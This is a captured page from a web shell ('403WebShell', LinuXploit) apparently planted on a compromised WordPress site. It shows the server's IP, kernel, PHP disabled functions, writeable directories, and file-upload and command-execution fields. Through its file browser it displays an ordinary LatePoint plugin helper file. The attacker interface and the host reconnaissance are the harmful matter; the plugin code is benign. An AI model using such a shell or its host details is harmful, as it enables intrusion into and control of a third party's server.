Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/helpers/pages_helper.php
<?php

class OsPagesHelper {

	/**
	 * Create Latepoint predefined pages
	 * @return void
	 */
	public static function create_predefined_pages(): void {
		$pages = [
			'customer-cabinet' => array(
				'slug'    => _x( 'customer-cabinet', 'Customer cabinet', 'latepoint' ),
				'title'   => _x( 'Customer Cabinet', 'Customer cabinet', 'latepoint' ),
				'content' => '<!-- wp:latepoint/customer-dashboard --><div class="wp-block-latepoint-customer-dashboard">Customer Dashboard</div><!-- /wp:latepoint/customer-dashboard -->',
				'settings' => ['page_url_customer_dashboard', 'page_url_customer_login']
			)
		];
		foreach ( $pages as $key => $page_settings ) {
			$option = 'latepoint_page_' . $key;
			$page_id = self::create_page( $page_settings, $option);
			if ($page_id) {
				update_option( $option, $page_id );
			}
		}
	}


	/**
	 * @param array $page_settings
	 * @param string $option
	 *
	 * @return int|WP_Error
	 */
	public static function create_page( array $page_settings, string $option = '' ) {
		$option_page_id = get_option( $option );

		if ( $option_page_id > 0 ) {
			$page_object = get_post( $option_page_id );
			if ( $page_object && 'page' === $page_object->post_type && ! in_array( $page_object->post_status, array( 'pending', 'trash', 'future', 'auto-draft' ), true ) ) {
				return $page_object->ID;
			}
		}

		$page = self::get_page_by_slug($page_settings['slug']);

		if ( $page ) {
			return $page;
		}

		$page_data = array(
			'post_status'    => 'publish',
			'post_type'      => 'page',
			'post_author'    => 1,
			'post_name'      => esc_sql( $page_settings['slug'] ),
			'post_title'     => $page_settings['title'],
			'post_content'   => $page_settings['content'],
			'comment_status' => 'closed',
		);
		$new_page_id = wp_insert_post( $page_data );

		# if page is created - Set Page URLs in settings
		if ($new_page_id && count($page_settings['settings'])) {
			self::save_default_pages_settings( $page_settings['settings'], "/{$page_settings['slug']}" );
		}

		return $new_page_id;
	}

	/**
	 * Add states for Latepoint Pages
	 * @param $post_states
	 * @param $page
	 *
	 * @return array
	 */
	public static function add_display_post_states($post_states, $page): array {
		if ( get_option( 'latepoint_page_customer-cabinet') == $page->ID ) {
			$post_states['latepoint_customer_cabinet'] = 'Latepoint Customer Cabinet';
		}
		return $post_states;
	}

	/**
	 * Get page ID by slug with status published
	 * @param $slug
	 * @return string|null
	 */
	public static function get_page_by_slug($slug) {
		global $wpdb;
		return $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status NOT IN ( 'pending', 'trash', 'future', 'auto-draft' )  AND post_name = %s LIMIT 1;", $slug ) );
	}

	/**
	 * save default pages settings
	 * @param array $settings
	 * @param $value
	 *
	 * @return void
	 */
	private static function save_default_pages_settings( array $settings, $value ): void {
		foreach ( $settings as $name ) {
			if ( ! OsSettingsHelper::get_settings_value( $name ) ) {
				OsSettingsHelper::save_setting_by_name( $name, $value );
			}
		}
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit